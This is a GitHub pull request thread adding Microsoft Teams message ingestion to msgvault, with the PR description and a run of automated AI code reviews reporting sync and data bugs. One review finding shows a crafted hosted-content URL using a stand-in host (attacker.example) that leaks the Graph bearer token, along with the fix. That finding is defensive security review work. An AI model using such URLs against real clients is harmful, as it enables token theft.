feat: Microsoft Teams ingestion (delegated Graph sync)

[njt]

What

Sync your own Microsoft Teams 1:1/group/meeting chats and channel messages into msgvault via delegated Microsoft Graph, searchable alongside mail through the existing TUI / FTS / Parquet analytics.

Highlights

• New add-teams (delegated Graph OAuth) and sync-teams (full + incremental, with streamed per-conversation progress) commands; Teams also runs under serve scheduled syncs — and the daemon now syncs all source types on an identifier (so Teams + Outlook/IMAP on one address both run).
• Reuses the existing chat schema — no new core tables: chats → direct/group conversations, channels → channel conversations with root+reply threading, plus reactions, sender + recipient (to) + @mention rows, identity resolution (AAD object id → email dedup, unifying with mail identities), inline images downloaded to content-addressed storage, and shared-file links recorded.
• Incremental sync: chats via lastModifiedDateTime list filtering (no delegated per-chat delta endpoint exists), channels via /messages/delta; per-conversation cursors persisted in sync_runs.cursor_after, flushed after each conversation so an interrupted long backfill resumes mid-stream.
• Microsoft OAuth kept independent from the existing Outlook/IMAP manager — separate teams_<email>.json token with Graph scopes only, so IMAP and Teams can each be used alone or together.

Use

1. Register an Entra app with delegated Graph permissions (Chat.Read, ChannelMessage.Read.All, Team.ReadBasic.All, Channel.ReadBasic.All, User.Read) and grant admin consent.
2. Add to config.toml:

   [microsoft]
   client_id = "<app-client-id>"
   tenant_id = "<directory-tenant-id>"

3. msgvault add-teams you@tenant.com then msgvault sync-teams you@tenant.com (--no-channels / --limit for scoped runs). Press a inside msgvault tui to filter to the Teams account.

Notes

• Validated on a live tenant: ~313k messages spanning 2017–2026 (chats, channels, reactions, threaded replies) — confirms full-history backfill beyond Graph's 8-month delta window.
• Meeting transcripts are intentionally out of scope (separate spec; delegated transcript access is effectively organizer-only). The only remaining follow-up is preserving a departing user's shared SharePoint/OneDrive files before account removal.

🤖 Generated with Claude Code

[roborev-ci]

roborev: Review Unavailable (e58e9fc)

The review agent repeatedly failed to run (likely an agent or configuration error). roborev will try again on the next commit.

Last error: agent: claude-code failed stream: stream errors: You've hit your session limit · resets 5:50am (UTC): exit status 1

[roborev-ci]

roborev: Review Unavailable (7d3cff4)

The review agent repeatedly failed to run (likely an agent or configuration error). roborev will try again on the next commit.

Last error: agent: claude-code failed stream: stream errors: You've hit your session limit · resets 5:50am (UTC): exit status 1

[roborev-ci]

roborev: Combined Review (d4652cb)

Summary verdict: changes are close, but there is one high-severity data-loss issue and several medium-severity Teams integration correctness gaps.

High

• internal/teams/importer.go:266: If fetching replies for a channel root fails during the initial backfill or delta-token fallback, the importer only increments sum.Errors, continues, primes a new delta cursor, and later stores it. The missed historical replies will not be retried on the next sync.
  • Fix: Treat reply-fetch failures during backfill/fallback as channel failure, or avoid advancing that channel’s delta cursor until all roots and replies were fetched successfully.

Medium

• internal/teams/mapping.go:42: Inline hosted-content images are downloaded as attachment rows, but has_attachments and attachment_count only count Graph attachments and recordings. Messages with only inline images will appear as having no attachments in APIs/search/UI.

  • Fix: Count hosted-content URLs before UpsertMessage, or update the message attachment fields after successful inline downloads/backfill.

• internal/teams/importer.go:454: Mention rows are only replaced when the current Graph message has at least one resolvable mention. If a message is edited to remove mentions, or a --full repair re-imports it with no mentions, stale recipient_type='mention' rows remain.

  • Fix: Always call ReplaceMessageRecipients(messageID, "mention", mentionIDs, mentionNames) after processing the current mentions, even when the resulting slice is empty.

• cmd/msgvault/cmd/remove_account.go:155: remove-account has no sourceTypeTeams credential cleanup case, so deleting a Teams account removes database rows but leaves the teams_<email>.json Graph OAuth token on disk.

  • Fix: Add a Teams case that uses microsoft.NewGraphManager(...).DeleteToken(source.Identifier).

• cmd/msgvault/cmd/serve.go:72: serve still requires Google [oauth] config before starting. A Teams-only setup with [microsoft] client_id and a Teams token cannot run scheduled Teams syncs through the daemon.

  • Fix: Defer Google OAuth validation to Gmail sync paths, or allow startup when Microsoft OAuth is configured and scheduled sources are Teams-only.

---

Panel: ci_default_security | Synthesis: codex, 16s | Members: codex_default (codex/default, done, 7m17s), codex_security (codex/security, done, 5m24s) | Total: 12m57s

[njt]

Two unrelated bug fixes that surfaced while building this were split out into their own PRs to keep this one scoped to Teams ingestion:

• fix(fbmessenger): don't collapse multiple attachments to one row #406 — fbmessenger: multiple attachments on one message collapsing to a single row (found via an audit of UpsertAttachment's hashless-dedup path, which this PR's Teams attachment handling also exercises).
• fix(search): empty text/subject terms must not match every message #407 — search: empty text/subject: terms matching every message (found via a pre-existing failing store test while validating this work).

Neither depends on this PR; both branch off current main.

[roborev-ci]

roborev: Combined Review (13c4591)

High-level verdict: changes need fixes before merge due to one high-risk Teams backfill data-loss path and several medium issues around auth cleanup, startup validation, embeddings, and stale child data.

High

• internal/teams/importer.go:270
  A channel backfill can fail to fetch replies for a root message, count the error, and still prime/save the channel delta cursor later. Older replies missed during that first backfill can then be skipped permanently because future runs resume from the delta link instead of retrying the full replies walk.
  Fix: Treat reply-fetch failures during full channel backfill as channel-incomplete: do not save the channel delta/checkpoint for that channel, or return an error so the next run retries the full roots+replies pass.

Medium

• cmd/msgvault/cmd/serve.go:72
serve still requires Google OAuth config via cfg.OAuth.HasAnyConfig(). A Teams-only setup with only [microsoft].client_id configured cannot start the daemon, even though this change adds scheduled Teams sync support.
  Fix: Allow the daemon to start when either Google OAuth or Microsoft Graph OAuth is configured, e.g. include cfg.Microsoft.ClientID != "" in the validation.

• cmd/msgvault/cmd/remove_account.go:155
  Removing a Teams source does not remove the new teams_<email>.json Graph token. The database source is deleted, but the credential remains and can silently re-authorize a future Teams sync. This also leaves a still-valid Graph refresh token behind after an operator believes the account was scrubbed.
  Fix: Add a sourceTypeTeams case that calls microsoft.NewGraphManager(...).DeleteToken(source.Identifier), and add a regression test confirming remove-account --type teams deletes teams_<email>.json.

• cmd/msgvault/cmd/serve.go:677
  Teams sync ignores vectorFeatures, and sync-teams does not set up vector enqueueing either. New Teams messages are written to the store but never added to pending_embeddings, so semantic/vector search misses them until a full embedding rebuild.
  Fix: Add optional embedding enqueue support to the Teams importer, return/collect persisted message IDs, and wire it from both sync-teams and scheduled Teams sync.

• internal/teams/importer.go:458
  Re-imported Teams messages do not clear child metadata when Graph returns an empty collection. Mentions are only replaced when len(gm.Mentions) > 0, and reactions/attachments are append-only, so edits that remove mentions/reactions/attachments leave stale rows.
  Fix: Use replace/delete-then-insert semantics for Teams-managed child collections, including calling ReplaceMessageRecipients with empty slices for mentions and adding equivalent replacement paths for reactions and attachments.

---

Panel: ci_default_security | Synthesis: codex, 14s | Members: codex_default (codex/default, done, 8m21s), codex_security (codex/security, done, 5m45s) | Total: 14m20s

[wesm]

looking at this

[roborev-ci]

roborev: Combined Review (7e1ecd2)

Summary verdict: Two Medium issues need attention; no Critical or High findings were reported.

Medium

• internal/teams/mapping.go:43: Inline hostedContent images are later stored as attachment rows, but HasAttachments / AttachmentCount only count gm.Attachments. Messages with only inline images are therefore marked as having no attachments.

  • Fix: Include hostedContent references in the attachment count before UpsertMessage, or update the message flags after successful inline-image downloads.

• internal/teams/importer.go:531: Teams reference/recording links are stored in attachments with synthetic content hashes and URL storage_path, but existing attachment query/export paths treat content_hash as a local content-addressed file. These rows will appear exportable while export/read flows look for nonexistent local files and do not expose the URL.

  • Fix: Add explicit support for URL-backed attachments in query/export/show paths, or store these links separately from file-backed attachments.

---

Panel: ci_default_security | Synthesis: codex, 8s | Members: codex_default (codex/default, done, 5m57s), codex_security (codex/security, done, 5m32s) | Total: 11m37s

[roborev-ci]

roborev: Combined Review (d06220d)

High: Teams inline media can exfiltrate Graph bearer tokens.
Medium: Incremental chat sync can permanently skip same-timestamp updates.

High

• internal/teams/importer.go:607, bearer-token sink at internal/teams/client.go:47
  A Teams participant controls message body HTML and can include a crafted hosted-content URL such as:

  https://graph.microsoft.com/v1.0https://attacker.example/hostedContents/1/$value
  

  hostedRe matches it, hostedFetchPath strips the base prefix with strings.TrimPrefix, and the result becomes an attacker-controlled absolute URL. Client.get then treats any http URL as absolute and sends Authorization: Bearer <Graph token> to that host.

  Fix: enforce same-origin Graph URLs before attaching Authorization. For hosted content, parse the URL, require scheme/host to match the configured Graph base URL, require the path prefix on a path-segment boundary, and return only a path-absolute request target. Also make Client.get reject absolute URLs whose scheme/host differ from baseURL, including @odata.nextLink and delta links.

Medium

• internal/teams/client.go:172
  Chat incremental sync filters with lastModifiedDateTime gt <cursor> after saving the max timestamp seen. If Graph returns second-level or otherwise non-unique timestamps, later messages or updates with the same lastModifiedDateTime as the saved cursor are skipped permanently.

  Fix: use an inclusive boundary such as ge with upsert/deduplication, or store a tie-breaker cursor such as timestamp plus message IDs at the boundary.

---

Panel: ci_default_security | Synthesis: codex, 11s | Members: codex_default (codex/default, done, 6m23s), codex_security (codex/security, done, 5m22s) | Total: 11m56s

[roborev-ci]

roborev: Combined Review (7db407a)

Medium-risk issues remain in the Teams importer/OAuth changes; no Critical or High findings were reported.

Medium

• internal/teams/importer.go:290 and internal/teams/importer.go:323
  When channel root/reply listing succeeds but delta priming fails, the continue skips phase 1, so none of the already-collected channel messages are persisted. Initial channel backfill becomes dependent on delta succeeding and loses the intended list-based fallback.
  Fix: Count the delta-prime error, leave newDelta empty, and continue to persistence so fetched messages are stored without advancing the channel cursor. Add a regression test for list/replies success with delta failure.

• internal/microsoft/graph_oauth.go:17
  The importer resolves AAD participants via /users/{id}, but GraphScopes only requests User.Read, which covers the signed-in user rather than directory lookups for other users. In real tenants this can cause participant email resolution to fall back to Teams-only identifiers, breaking cross-platform participant unification.
  Fix: Add a directory-read scope such as User.ReadBasic.All or User.Read.All to GraphScopes, and update setup docs/consent guidance.

---

Panel: ci_default_security | Synthesis: codex, 9s | Members: codex_default (codex/default, done, 7m55s), codex_security (codex/security, done, 5m16s) | Total: 13m20s

[roborev-ci]

roborev: Combined Review (c74f849)

Code review verdict: one Medium issue needs to be addressed before merge.

Medium

• internal/teams/importer.go:261 — Channel backfill de-dupes messages with first-wins semantics before applying delta-prime results. If a root/reply is edited or deleted after it was fetched by the list/replies pass but before the delta prime, the newer delta copy is ignored while the new delta cursor is saved, so that update can be skipped permanently.
  • Fix: Track collected messages by ID and replace the existing entry when a duplicate from delta has a newer lastModifiedDateTime or deletion marker, or persist delta-prime messages after the backfill so their upsert wins before saving the cursor.

---

Panel: ci_default_security | Synthesis: codex, 7s | Members: codex_default (codex/default, done, 13m5s), codex_security (codex/security, done, 5m5s) | Total: 18m17s

[roborev-ci]

roborev: Combined Review (546a95c)

Teams ingestion has one medium correctness issue; no security findings were reported.

Medium

• internal/teams/importer.go:90: Teams imports complete without populating conversation_participants or recomputing conversation stats, so conversations.message_count, participant_count, last_message_at, and previews remain stale or empty for imported Teams conversations.
  • Fix: Add resolved senders/members to conversation_participants and call RecomputeConversationStats(sourceID) before CompleteSync.

---

Panel: ci_default_security | Synthesis: codex, 6s | Members: codex_default (codex/default, done, 9m40s), codex_security (codex/security, done, 2m58s) | Total: 12m44s

[roborev-ci]

roborev: Combined Review (4368638)

Summary verdict: one Medium issue remains; no Critical or High findings reported.

Medium

• internal/teams/importer.go:624 - The hosted-content matcher only detects absolute http(s) URLs. Teams HTML can contain relative hosted content refs like ../hostedContents/.../$value, so inline images with those refs are not counted, downloaded, or retried by --only-incomplete.
  • Fix: Extract hosted-content refs independent of absolute URL form, resolve relative refs using the chat/channel message context, and share that extractor with the incomplete-media counter. Add tests for relative refs.

---

Panel: ci_default_security | Synthesis: codex, 6s | Members: codex_default (codex/default, done, 12m35s), codex_security (codex/security, done, 4m39s) | Total: 17m20s

[roborev-ci]

roborev: Combined Review (f8f07f8)

Summary verdict: one Medium issue should be addressed before merge.

Medium

• internal/teams/importer.go:93 - Nonfatal Teams sync errors are accumulated in sum.Errors, but the final sync run completes without flushing the final counts. If a chat/channel fetch fails and the loop continues before another checkpoint, source status can show a completed sync with zero errors even though conversations were skipped.
  • Fix: Before CompleteSync, call UpdateSyncCheckpoint with the final cursor and summary counts/errors, or update CompleteSync to persist those fields.

---

Panel: ci_default_security | Synthesis: codex, 7s | Members: codex_default (codex/default, done, 16m23s), codex_security (codex/security, done, 5m1s) | Total: 21m31s

[roborev-ci]

roborev: Combined Review (a62d3d3)

Medium-risk issue found; security review found no exploitable issues.

Medium

• internal/teams/importer.go:470
  Teams raw JSON archival errors are ignored, so a failed message_raw write can still advance the sync cursor and permanently skip archiving the original Graph payload unless the user later runs a full repair.
  Fix: Handle the UpsertMessageRawWithFormat error by returning it from persistMessage or otherwise preventing cursor advancement for that message.

---

Panel: ci_default_security | Synthesis: codex, 6s | Members: codex_default (codex/default, done, 11m59s), codex_security (codex/security, done, 4m55s) | Total: 17m0s

[roborev-ci]

roborev: Combined Review (4aac787)

Summary verdict: Two medium issues should be fixed before merging; no critical or high findings were reported.

Medium

• internal/teams/mapping.go:43 - attachment_count counts every Graph attachment, but persistMessage only stores attachments with ContentURL. Cards or other content-less attachments can leave messages marked as having attachments even though no attachment row exists.

  • Fix: Count only attachment refs that will be persisted, or recompute message attachment stats after replacing link attachments.

• internal/teams/client.go:195 - --limit is applied only after ListChatMessages has paged the entire conversation into memory; channel sync has the same collect-all-before-limit pattern. Large Teams histories still fetch everything before discarding most messages.

  • Fix: Pass the limit into the paging path and stop following nextLink once enough messages have been collected; avoid advancing cursors/delta links when truncated.

---

Panel: ci_default_security | Synthesis: codex, 8s | Members: codex_default (codex/default, done, 8m51s), codex_security (codex/security, done, 5m26s) | Total: 14m25s

[roborev-ci]

roborev: Combined Review (bb41a70)

No Medium, High, or Critical issues found.

Both reviews found no reportable findings at Medium severity or above.

---

Panel: ci_default_security | Synthesis: codex, 6s | Members: codex_default (codex/default, done, 13m25s), codex_security (codex/security, done, 8m8s) | Total: 21m39s

[wesm]

Thank you! A fair amount of grinding was needed to get ready but should be good now